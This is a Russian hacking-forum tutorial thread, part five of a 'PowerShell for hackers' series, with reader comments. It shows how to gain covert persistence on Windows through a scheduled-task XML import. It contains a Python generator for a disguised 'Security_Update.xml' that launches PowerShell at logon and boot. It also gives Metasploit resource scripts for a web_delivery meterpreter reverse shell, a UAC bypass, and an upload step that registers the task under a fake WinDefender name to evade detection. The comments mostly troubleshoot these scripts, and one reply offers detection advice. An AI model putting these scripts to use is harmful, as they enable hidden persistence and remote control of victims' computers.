• Познакомьтесь с пентестом веб-приложений на практике в нашем новом бесплатном курсе

    «Анализ защищенности веб-приложений»

    🔥 Записаться бесплатно!

  • CTF с учебными материалами Codeby Games

    Обучение кибербезопасности в игровой форме. Более 200 заданий по Active Directory, OSINT, PWN, Веб, Стеганографии, Реверс-инжинирингу, Форензике и Криптографии. Школа CTF с бесплатными курсами по всем категориям.

Статья PowerShell для хакера (часть V ) [Закрепление в системе через schtasks и вредоносную XML)

Часть 5
Предыдущая часть
Следующая часть
Все части

ShowImage.jpg


Доброго времен суток колеги. Сегодня продолжим с вами использовать PowerShell для демонстрации компрометации Windows машин (от версии Windows 7 , где он предустановлен по умолчанию)

Сегодня конкретно нового об PowerShell мы не узнаем ,а просто используем пейлоад на нем, для закрепление в системе через

Одна из возможностей планировщика заданий - импорт задачи и параметры ее запуска с XML файла. В одной из своих статей ,где я делал обзор одной утилиты по обходу АВ , использовалась техника импорта XML в планировщик заданий.Но там что мне не понравилось, так это то что локально хранился бинарный файл,который может просто удалится или со временем быть обнаруженным антивирусами.
По этому я взял на вооружения эту технику и покажу вам сегодня авторский подход к ней, а именно :
  • как создавать такую вредоносную xml
  • как внедрить туда полезную нагрузку на PowerShell
  • как снизить шансы на обнаружения такой задачи в планировщике
  • как автоматизировать действия в Metasploit
DarkNode сказал(а):
Сразу же хочу обратить внимания что данный метод требует повышенных привилегий!! По этому для этих целей прекрасно подойдет техника описанная колегой @Vander в его статье про повышение привилегий

И так, давайте разберемся откуда ноги растут) Сперва давайте поймем с вами как получить такую XML. Такая XML получается путем експорта задачи из планировщика задачи. Так что давайте сначала создадим нашу задачу:

1.PNG


2.PNG


Выставим необходимые нам тригеры(условия когда будет запускаться наша задача)

3.PNG


Укажем действие которое будет выполнятся:

03.PNG

Затем жмакнем экспортировать:

02.PNG


Посмотрим на содержимое нашей XML,видим интересующие нас теги <Command> и <Arguments>:

04.PNG


В принципе можно удалить сразу же нашу задачу , что бы проверить как работает импорт задачи из командной строки:

6.PNG


Далее откроем командную строку,посмотрим справку команды schtasks /Create /?

7.PNG


Видим интересный нам параметр ,который позволяет импортировать задачу из XML файла. Проверяем командой:
schtasks /Create /XML codeby_demo.xml /TN тут_любое_имя_нашей_задачи:

05.PNG


Тут надеюсь понятно,теперь что бы не проделывать эти действия с импортом и експортом постоянно, я для удобства создал скрипт который будет брать за шаблон такую XML и изменять только передаваемые параметры для PowerShell:

9.PNG

[hidepl="1,3"]
Python:
#!/usr/bin/env python
#-*- coding: utf-8 -*-

command=raw_input("Введите ваши аргументы(параметры) команды PowerShell:\n")
def gen_xml(command):
    string="""<?xml version="1.0" encoding="UTF-16"?>
    <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
      <Triggers>
    <LogonTrigger>
     <Enabled>true</Enabled>
    </LogonTrigger>
    <BootTrigger>
    <Enabled>true</Enabled>
    </BootTrigger>
      </Triggers>
      <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
    <AllowHardTerminate>true</AllowHardTerminate>
    <StartWhenAvailable>false</StartWhenAvailable>
    <RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable>
    <IdleSettings>
    <StopOnIdleEnd>true</StopOnIdleEnd>
    <RestartOnIdle>false</RestartOnIdle>
    </IdleSettings>
    <AllowStartOnDemand>true</AllowStartOnDemand>
    <Enabled>true</Enabled>
    <Hidden>false</Hidden>
    <RunOnlyIfIdle>false</RunOnlyIfIdle>
    <WakeToRun>false</WakeToRun>
    <ExecutionTimeLimit>PT72H</ExecutionTimeLimit>
    <Priority>7</Priority>
      </Settings>
      <Actions>
    <Exec>
    <Command>powershell.exe</Command>
    <Arguments>%s</Arguments>
    </Exec>
      </Actions>
    </Task>""" %(command)
    return string

with open("Security_Update.xml","w") as f:
    f.write(gen_xml(command))
    f.close
[/hidepl]
После его отработки создаться файл Security_Update.xml с нужной нам полезной нагрузкой.

Давайте теперь перейдем к фазе с метасплоитом.

Для начала хочу что бы вы научились автоматизировать вводимые команды через ресурс_файл(файл с командами которые мы последовательно вводим в консоли метасплоита)

Выглядит ресурс файл примерно так:
priv.rc сказал(а):
use exploit/multi/script/web_delivery
set target 2
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.103
set lport 4444
exploit -j
10.PNG

Это полезно тогда ,когда мы часто вводим одни и те же команды в метасплоите при каждом запуске и т.д
И я использую это для удобвства.
Выполнить этот ресурс файл можно двумя способами:
  • При запуске метасплоита через параметр -r ( msfconsole -r web_del.rc)
  • И находясь в самом метасплоите командой resources (msf>resources /root/web_del.rc)
11.PNG


Теперь давайте сперва получим сессию метерпретора и подготовим скрипт для автоматического повышения привилегий и закрепление в системе через нашу вредоносную xml.
Сперва подготовим XML:
Генерируем саму команду для павершел и копируем передаваемые параметры:

12.PNG


Теперь создаем нашу вредоносную XML через наш скрипт:

14.PNG


Проверим:

15.PNG


Теперь подготовим скрипт для повышение привилегий:
Metasploit сказал(а):
use exploit/windows/local/bypassuac_eventvwr
set session 2
set payload windows/meterpreter/reverse_tcp
set LPORT 4488
set LHOST 192.168.0.103
set AutoRunScript multi_console_command -rc meter.rc
explot -j
set AutoRunScript multi_console_command -rc meter.rc -- указываем что нужно будет выполнить набор команд из ресурс файла meter.rc при успешной метерпретер сессии
содержание meter.rc:
meter.rc сказал(а):
cd %appdata%
mkdir Windows
cd Windows
upload Security_Update.xml
execute -i -f "schtasks /Create /XML Security_Update.xml /TN \\Microsoft\\Windows\\WinDefender"
rm Security_Update.xml
Думаю тут понятно все, создается папка в %appdata% Windows , в нее грузится наша XML , делается импорт и XML удаляется.
Хочу заметить что для скрытие от наблюдение пользователя я в качестве имени передал путь к папке где лежать задачи которые запускает операционная система Windows - это значительно уменьшит риск обнаружения.
На деле выглядит примерно так:

16.PNG


В результате чего получаем скрытую задачу в планировщике заданий:

upload_2017-1-7_19-17-57.png


Всем спасибо) Продолжение следует)



Предыдущая часть
Следующая часть
Все части
 
Последнее редактирование:
S

sdfsd

Генерируем саму команду для павершел и копируем передаваемые параметры

а можно использовать команду которую создал сам web_delivery для .xml конвертированную в base64?
[doublepost=1491103499,1491078306][/doublepost]
Генерируем саму команду для павершел и копируем передаваемые параметры
а можно использовать команду которую создал сам web_delivery для .xml конвертированную в base64?
еще порт нужен
 
P

PATCHE

thank
[doublepost=1493462126,1493433708][/doublepost]Очень хорошая статья, я думаю, что здесь я буду учиться много
У меня есть небольшая проблема, которую я приехал, чтобы посмотреть файл, который вы использовали в учебнике
 
  • Нравится
Реакции: Billy036, Nelly10 и Miz10

gushmazuko

Red Team
24.03.2017
173
451
BIT
0
Скрипт multi_console_command не работает, выдает такую ошибка как сдесь:
Как пофиксить?
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
6
блин,полдня ковыряюсь,никак не пойму: при запуске скрипта выдаёт:

Session ID 1 (192.168.6.5:8000 -> 192.168.6.4:52655) processing AutoRunScript 'multi_console_command -rc script.rc'
[*] Running Command List ...
[*] Running command script.rc
[-] Unknown command: script.rc.

Перепробовал разные варианты - не хочет работать. Подскажите,где может быть ошибка ? Текст для rc файла взял из этого поста
[doublepost=1507714180,1507645658][/doublepost]ещё часто такая ошибка вылезает:
Error executing script: SyntaxError /usr/share/metasploit-framework/lib/rex/script/base.rb:44: unknown type of %string

Кто шарит в руби,подскажите куда смотреть )
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
6
Наверное напишу статью отдельно на эту тему.

Было бы замечательно! Попутно вопрос: нашёл в MSF скрипт,называется uploadexec.rb Из хелпа понятно,что он скачивает и запускает на стороне жертвы приложение либо скрипт. Попытался запустить - тоже не хочет работать. Есть какие то подводные камни ?
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
Было бы замечательно! Попутно вопрос: нашёл в MSF скрипт,называется uploadexec.rb Из хелпа понятно,что он скачивает и запускает на стороне жертвы приложение либо скрипт. Попытался запустить - тоже не хочет работать. Есть какие то подводные камни ?
Могу только предположить, например:
Обычный пользователь не имеет прав на сохранение файлов в ту или иную папку, виндоус дефендер блокирует, антивирус, специальная настройка групповых политик и т.д. сложно предугадать на самом деле...
[doublepost=1507720509,1507719363][/doublepost]Так же планируется переснять полностью серию скринкастов по тематике powershell для хакера с целью максимально близко к пониманию читателя передать информацию из моих статей.
 

Elektrolife

Green Team
21.10.2016
208
33
BIT
6
Могу только предположить, например:
Обычный пользователь не имеет прав на сохранение файлов в ту или иную папку, виндоус дефендер блокирует, антивирус, специальная настройка групповых политик и т.д. сложно предугадать на самом деле...
[doublepost=1507720509,1507719363][/doublepost]Так же планируется переснять полностью серию скринкастов по тематике powershell для хакера с целью максимально близко к пониманию читателя передать информацию из моих статей.

На мой взгляд материал подаётся вполне понятно,если хоть немного в теме. А вот справочной информации по различным инструментам ( например MeterPreter ) маловато. И реальных рабочих примеров бы побольше. А то я пока догнал,что записи в реестр добавляются с двойным // - весь инет перерыл )
 
  • Нравится
Реакции: <~DarkNode~>
B

bedouin

Большое спасибо очень интересные статьи.
Есть вопрос, как можно проверить свою винду на наличие таких скриптов?
 
  • Нравится
Реакции: <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
Большое спасибо очень интересные статьи.
Есть вопрос, как можно проверить свою винду на наличие таких скриптов?
Я пользуюсь бесплатной программой autoruns от sysinternals для того что позаглядать в возможные места автозагрузки. Ну и второй вариант - написать скрипт который будет парсить нужные сигнатуры на тот случай если вы пользуетесь павершел.
Если вы не используете powershell лучше все таки его отключить.
Powershell является доверенным приложением и активно используется злоумышленниками для проведения своих атак, и по этому если вы его не используете - в целях безопасности лучше его отключить)
[doublepost=1508823204,1508822971][/doublepost]Ну и в последнее время антивирусные приложения научились анализировать участки оперативной памяти для обнаружение подобных команд, но взломщики научились их обфусцировать.)
 
  • Нравится
Реакции: Underwood
T

tumm

При импорте xml На другой компьютер ошибка.На том же компе где и создана все нормально
 

Вложения

  • Выделение_003.png
    Выделение_003.png
    1,2 КБ · Просмотры: 544
T

tumm

Да дело в несоответствии UserID в хмл,на сервере А сгенерили под юзером рут,на сервере Б импортируем юзеру админ,в итоге ошибка
 
  • Нравится
Реакции: <~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
Да дело в несоответствии UserID в хмл,на сервере А сгенерили под юзером рут,на сервере Б импортируем юзеру админ,в итоге ошибка
А зачем Вам вообще нужен UserID ????
Я же в статье его вообще то не использовал...
Вот эту часть можно смело удалять:
Снимок.PNG
 
Последнее редактирование:
T

TST

реальных рабочих примеров бы побольш
Часть 5
Предыдущая часть
Следующая часть
Все части

Посмотреть вложение 8483

Доброго времен суток колеги. Сегодня продолжим с вами использовать PowerShell для демонстрации компрометации Windows машин (от версии Windows 7 , где он предустановлен по умолчанию)

Сегодня конкретно нового об PowerShell мы не узнаем ,а просто используем пейлоад на нем, для закрепление в системе через

Одна из возможностей планировщика заданий - импорт задачи и параметры ее запуска с XML файла. В одной из своих статей ,где я делал обзор одной утилиты по обходу АВ , использовалась техника импорта XML в планировщик заданий.Но там что мне не понравилось, так это то что локально хранился бинарный файл,который может просто удалится или со временем быть обнаруженным антивирусами.
По этому я взял на вооружения эту технику и покажу вам сегодня авторский подход к ней, а именно :

  • как создавать такую вредоносную xml
    как внедрить туда полезную нагрузку на PowerShell

    как снизить шансы на обнаружения такой задачи в планировщике
    как автоматизировать действия в Metasploit


И так, давайте разберемся откуда ноги растут) Сперва давайте поймем с вами как получить такую XML. Такая XML получается путем експорта задачи из планировщика задачи. Так что давайте сначала создадим нашу задачу:

Посмотреть вложение 8484

Посмотреть вложение 8485

Выставим необходимые нам тригеры(условия когда будет запускаться наша задача)

Посмотреть вложение 8486

Укажем действие которое будет выполнятся:

Посмотреть вложение 8488
Затем жмакнем экспортировать:

Посмотреть вложение 8487

Посмотрим на содержимое нашей XML,видим интересующие нас теги <Command> и <Arguments>:

Посмотреть вложение 8494

В принципе можно удалить сразу же нашу задачу , что бы проверить как работает импорт задачи из командной строки:

Посмотреть вложение 8491

Далее откроем командную строку,посмотрим справку команды schtasks /Create /?

Посмотреть вложение 8492

Видим интересный нам параметр ,который позволяет импортировать задачу из XML файла. Проверяем командой:
schtasks /Create /XML codeby_demo.xml /TN тут_любое_имя_нашей_задачи:

Посмотреть вложение 8495

Тут надеюсь понятно,теперь что бы не проделывать эти действия с импортом и експортом постоянно, я для удобства создал скрипт который будет брать за шаблон такую XML и изменять только передаваемые параметры для PowerShell:

Посмотреть вложение 8496
***Скрытый текст***
После его отработки создаться файл Security_Update.xml с нужной нам полезной нагрузкой.

Давайте теперь перейдем к фазе с метасплоитом.

Для начала хочу что бы вы научились автоматизировать вводимые команды через ресурс_файл(файл с командами которые мы последовательно вводим в консоли метасплоита)

Выглядит ресурс файл примерно так:

Посмотреть вложение 8498
Это полезно тогда ,когда мы часто вводим одни и те же команды в метасплоите при каждом запуске и т.д
И я использую это для удобвства.
Выполнить этот ресурс файл можно двумя способами:

  • При запуске метасплоита через параметр -r ( msfconsole -r web_del.rc)
    И находясь в самом метасплоите командой resources (msf>resources /root/web_del.rc)
Посмотреть вложение 8499

Теперь давайте сперва получим сессию метерпретора и подготовим скрипт для автоматического повышения привилегий и закрепление в системе через нашу вредоносную xml.
Сперва подготовим XML:
Генерируем саму команду для павершел и копируем передаваемые параметры:

Посмотреть вложение 8500

Теперь создаем нашу вредоносную XML через наш скрипт:

Посмотреть вложение 8501

Проверим:

Посмотреть вложение 8502

Теперь подготовим скрипт для повышение привилегий:

set AutoRunScript multi_console_command -rc meter.rc -- указываем что нужно будет выполнить набор команд из ресурс файла meter.rc при успешной метерпретер сессии
содержание meter.rc:

Думаю тут понятно все, создается папка в %appdata% Windows , в нее грузится наша XML , делается импорт и XML удаляется.
Хочу заметить что для скрытие от наблюдение пользователя я в качестве имени передал путь к папке где лежать задачи которые запускает операционная система Windows - это значительно уменьшит риск обнаружения.
На деле выглядит примерно так:

Посмотреть вложение 8503

В результате чего получаем скрытую задачу в планировщике заданий:

Посмотреть вложение 8504

Всем спасибо) Продолжение следует)
***Скрытый текст***

Предыдущая часть
Следующая часть
Все части


Генерируем саму команду для павершел и копируем передаваемые параметры) - kak generirovat'? 4to -to ne ponyal etot moment
 

<~DarkNode~>

~^M1st3r_Bert0ni^~
Platinum
19.10.2016
722
3 098
BIT
0
Работать не будет если удалить
У меня отработало на хостовой и двух виртуальных машинах.
[doublepost=1513420636,1513419926][/doublepost]
Генерируем саму команду для павершел и копируем передаваемые параметры) - kak generirovat'? 4to -to ne ponyal etot moment
Я это делал просто самописным скриптом , более подробно описал его в пролшлых статьях.
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!